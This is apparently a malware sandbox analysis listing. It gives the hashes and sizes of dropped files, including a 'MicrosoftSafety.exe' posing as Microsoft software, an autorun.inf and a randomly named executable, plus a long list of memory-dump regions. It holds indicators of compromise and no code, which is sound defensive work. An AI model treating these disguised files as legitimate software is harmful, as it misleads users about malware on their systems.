C:\Program File\Microsoft\MicrosoftSafety.exe

Filesize
272KB

MD5
ca3e0b7972500c8f064282b09f5b9210

SHA1
3dbf909e123a4a45a7232fcaadfb340ff054a032

SHA256
c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0

SHA512
2f049fc83b34ece0955e3f06cc99cd98dea2e99722d32de0828e50a9d22f0d644d0320bf08efca21ea86315f9298b6a3d217eb09cee16f47bf0b83257ea31acd

Download Submit
C:\autorun.inf

Filesize
87B

MD5
a58e87ffeec377bdfe74aa489e222618

SHA1
ce4755bf320611f95b2e6fd8128a95d22b2680da

SHA256
fd5ee8d0b5bfe9e3d8e7088253d80602c554d62d2ee69ad9270722c251d6eff0

SHA512
1e5cf2c04ecc7e16dd26020c73a8a47059cce08f8224632621818d62dd00f928a1829e385db4cfbda1dc438dcc1187903556dd483d5786ebe6cfad915a459c66

Download Submit
C:\dsxfaw.exe

Filesize
97KB

MD5
370cf123d4b63027e87d9c570292350a

SHA1
afec6985f9d9bb346f0429fad8dd386a7b7b9f7c

SHA256
6f628a9513edbeda58fb537a696a9cb1d2fe4af83869f21014ca6855ed503287

SHA512
6eeec6941143de393dc51fa3d42ab16475d57fff1c33bb9d4629bd0e148f1ca22699e1c3d348f1c4118991594428033c6a62dceefd925cbfb3ecf4b9e83be3e0

Download Submit
memory/1112-16-0x00000000001A0000-0x00000000001A2000-memory.dmp

Filesize
8KB

Download
memory/2116-38-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-6-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-9-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-8-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-14-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-12-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-13-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-27-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/2116-36-0x0000000000710000-0x0000000000712000-memory.dmp

Filesize
8KB

Download
memory/2116-25-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/2116-24-0x0000000000710000-0x0000000000712000-memory.dmp

Filesize
8KB

Download
memory/2116-7-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-37-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-0-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2116-10-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-11-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-72-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-81-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-82-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-4-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-124-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-134-0x0000000000710000-0x0000000000712000-memory.dmp

Filesize
8KB

Download
memory/2116-143-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-155-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-158-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-159-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-162-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-164-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-165-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-166-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-1-0x00000000029B0000-0x0000000003A6A000-memory.dmp

Filesize
16.7MB

Download
memory/2116-251-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download